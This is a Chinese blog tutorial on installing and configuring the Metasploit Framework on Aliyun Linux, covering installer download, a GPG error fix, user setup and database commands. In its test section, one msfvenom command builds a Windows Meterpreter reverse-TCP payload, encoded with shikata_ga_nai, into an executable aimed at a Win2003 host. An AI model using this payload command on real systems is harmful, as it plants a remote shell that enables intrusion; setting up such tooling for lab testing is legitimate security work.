Aliyun Linux 安装 Metasploit 框架及配置详解
记录一下具体的安装流程以便后续查阅。
本次操作环境基于阿里云 Linux 操作系统。
首先进行下载与安装,执行以下命令获取安装脚本并赋予执行权限后运行: curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
安装过程中可能会遇到报错信息:Couldn't open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit。
该错误通常由依赖库缺失引起。 解决方法如下: yum install -y epel-release 安装完成后,重新执行上述安装命令即可。
其次,建议添加新用户来运行 MSF 以确保功能正常。 adduser msf #添加msf用户 su msf #切换到msf用户 cd /opt/metasploit-framework/bin #切换到msf所在的目录 ./msfconsole #以后启动msfconsole,都切换到msf用户下启动,这样会同步数据库。 如果使用root用户启动的话,不会同步数据库! (启动索引已经默认配好了!) 直接 msfconsole 就可以启动了!
#相关命令
[msf@xxxx root]$ msf
msfbinscan msfconsole msfd msfdb
msfelfscan msfmachscan msfpescan msfrop
msfrpc msfrpcd msfupdate msfvenom
#数据库初始化
[msf@xxxx root]$ msfdb
Commands:
init initialize the component
reinit delete and reinitialize the component
delete delete and stop the component
status check component status
start start the component
stop stop the component
restart restart the component
#测试:
e.g.我的虚拟主机是 Win2003(目标机)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=msf_ip
LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe
注意:若使用的是弹性云服务器,LHOST 参数必须设置为内网分配的 IP 地址,严禁使用公网 IP,否则会导致连接失败(此点曾耗费大量时间排查)。

补充说明:以上为 Linux 系统下安装 MSF 框架的完整流程。
相关命令参考:
wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run
chmod 755 metasploit-latest-linux-installer.run
./metasploit-latest-linux-installer.run
等待脚本运行结束即可完成安装。过程中关键节点按回车键或输入 Y 确认即可。
总结
至此,关于 Linux 系统安装 Metasploit 框架的过程已介绍完毕。如需了解更多相关内容,可搜索本站历史文章或继续浏览下方推荐内容,感谢大家的支持!